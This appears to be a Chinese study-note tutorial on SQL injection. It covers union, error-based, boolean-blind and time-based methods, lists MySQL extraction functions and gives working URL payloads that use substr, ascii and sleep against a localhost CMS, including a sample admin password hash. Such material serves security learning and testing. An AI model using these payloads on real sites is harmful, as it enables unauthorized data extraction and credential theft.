一 、先说一下SQL注入四大手法:联合查询、报错注入、布尔盲注、延时注入

二、SQL注入口诀

前提存在SQL 注入漏洞的情况下,注入手法的选择

是否有回显 有:联合查询

是否有报错 有:报错注入

是否有布尔类型状态 有:布尔盲注

绝招 延时注入

三、详细介绍

1.联合查询  有回显(通过id=1  id=2),则可以利用

(1)常用函数

version() mysql 数据库版本

database() 当前数据库名

user() 用户名

current_user() 当前用户名

system_user() 系统用户名

@@datadir 数据库路径

@@versoin_compile_os 操作系统版本

length() 返回字符串的长度

substring()

substr() 截取字符串

mid()

left() 从左侧开始取指定字符个数的字符串

concat() 没有分隔符的连接字符串

concat_ws() 含有分割符的连接字符串

group_conat() 连接一个组的字符串

ord() 返回ASCII 码

ascii()

hex() 将字符串转换为十六进制

unhex() hex 的反向操作

md5() 返回MD5 值

floor(x) 返回不大于x 的最大整数

round() 返回参数x 接近的整数

rand() 返回0-1 之间的随机浮点数

load_file() 读取文件,并返回文件内容作为一个字符串

sleep() 睡眠时间为指定的秒数

if(true,t,f) if 判断

find_in_set() 返回字符串在字符串列表中的位置

benchmark() 指定语句执行的次数

name_const() 返回表作为结果

(2) 步骤

确定有联合查询的注入点

判断当前表中的字段(列)个数  通过order by  一次尝试

order by 1 order by 2 order by 15    存在15个字段

判断显示位

可以选在获得当前路径(@@basedir)、当前数据库版本号(@@version)、当前登录用户(user())、当前所使用的数据库(database())。

当前数据库表的名字

获取字段名

Userid    username      password

字段内容

admin:e10adc3949ba59abbe56e057f20f883e  密码可以转义

2. 报错注入   显示数据库报错   具体函数如同联合查询

公式一    获取数据库信息

SQL  注入   -- 四大手法-LMLPHP

获得表名

公式二    获取用户名  密码

SQL  注入   -- 四大手法-LMLPHP

公式三  得到数据库名字

SQL  注入   -- 四大手法-LMLPHP

3.布尔盲注

(1)先判断是不是属于布尔注入

?id=33 and 1=1 --+   显示正常网页

?id=33 and 1=2 --+  显示区别于正常的网页

(2)计算所要查询内容的长度(先盲注数据库的名称)

?id=33 and length(database())>0

?id=33 and length(database())=3

说明当前数据库名的字符长度为3

(3)按位注入数据库名字

?id=33 and ascii(substr((select database()),1,1)) = 99

99 c

?id=33 and ascii(substr(database(),2,1)) =109

109 m

(4)查表名

(5)查字段名  查数据

4. 延时注入

(1)注入得到当前数据库用户名

?id=33 and if(ascii(substr(current_user(),1,1)) =114,sleep(5),1) --+

114 r

(2)查询数据库名

http://localhost:81/cms/show.php

?id=33 and if(ascii(substr(database(),1,1)) =105,sleep(5),1) --+

(3)表名

http://localhost:81/cms/show.php

?id=33 and if(ascii(substr((SELECT table_name from information_schema.tables where table_schema=database()  limit 0,1),1,1)) <120,sleep(5),1) --+

11-11 12:56